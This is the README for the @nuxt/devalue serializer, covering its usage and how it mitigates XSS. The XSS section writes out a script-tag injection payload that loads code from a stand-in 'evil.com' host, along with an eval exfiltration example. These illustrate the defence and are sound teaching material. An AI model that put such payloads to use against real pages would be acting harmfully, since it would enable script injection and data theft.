# @nuxt/devalue
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> Forked from [devalue](https://github.com/Rich-Harris/devalue) to log errors on non-serializable properties rather than throwing `Error`.
Like `JSON.stringify`, but handles
* cyclical references (`obj.self = obj`)
* repeated references (`[value, value]`)
* `undefined`, `Infinity`, `NaN`, `-0`
* regular expressions
* dates
* `Map` and `Set`
* `.toJSON()` method for non-POJOs
Try it out on [runkit.com](https://npm.runkit.com/@nuxt/devalue).
## Goals:
* Performance
* Security (see [XSS mitigation](#xss-mitigation))
* Compact output
## Non-goals:
* Human-readable output
* Stringifying functions or arbritary non-POJOs
## Usage
```js
import devalue from '@nuxt/devalue';
let obj = { a: 1, b: 2 };
obj.c = 3;
devalue(obj); // '{a:1,b:2,c:3}'
obj.self = obj;
devalue(obj); // '(function(a){a.a=1;a.b=2;a.c=3;a.self=a;return a}({}))'
```
If `devalue` encounters a function or a non-POJO, it will throw an error.
## XSS mitigation
Say you're server-rendering a page and want to serialize some state, which could include user input. `JSON.stringify` doesn't protect against XSS attacks:
```js
const state = {
userinput: `</script><script src='https://evil.com/mwahaha.js'>`
};
const template = `
<script>
// NEVER DO THIS
var preloaded = ${JSON.stringify(state)};
</script>`;
```
Which would result in this:
```html
<script>
// NEVER DO THIS
var preloaded = {"userinput":"</script><script src='https://evil.com/mwahaha.js'>"};
</script>
```
Using `devalue`, we're protected against that attack:
```js
const template = `
<script>
var preloaded = ${devalue(state)};
</script>`;
```
```html
<script>
var preloaded = {userinput:"\\u003C\\u002Fscript\\u003E\\u003Cscript src=\'https:\\u002F\\u002Fevil.com\\u002Fmwahaha.js\'\\u003E"};
</script>
```
This, along with the fact that `devalue` bails on functions and non-POJOs, stops attackers from executing arbitrary code. Strings generated by `devalue` can be safely deserialized with `eval` or `new Function`:
```js
const value = (0,eval)('(' + str + ')');
```
## Other security considerations
While `devalue` prevents the XSS vulnerability shown above, meaning you can use it to send data from server to client, **you should not send user data from client to server** using the same method. Since it has to be evaluated, an attacker that successfully submitted data that bypassed `devalue` would have access to your system.
When using `eval`, ensure that you call it *indirectly* so that the evaluated code doesn't have access to the surrounding scope:
```js
{
const sensitiveData = 'Setec Astronomy';
eval('sendToEvilServer(sensitiveData)'); // pwned :(
(0,eval)('sendToEvilServer(sensitiveData)'); // nice try, evildoer!
}
```
Using `new Function(code)` is akin to using indirect eval.
## See also
* [lave](https://github.com/jed/lave) by Jed Schmidt
* [arson](https://github.com/benjamn/arson) by Ben Newman
* [tosource](https://github.com/marcello3d/node-tosource) by Marcello Bastéa-Forte
* [serialize-javascript](https://github.com/yahoo/serialize-javascript) by Eric Ferraiuolo
## License
[MIT](LICENSE)
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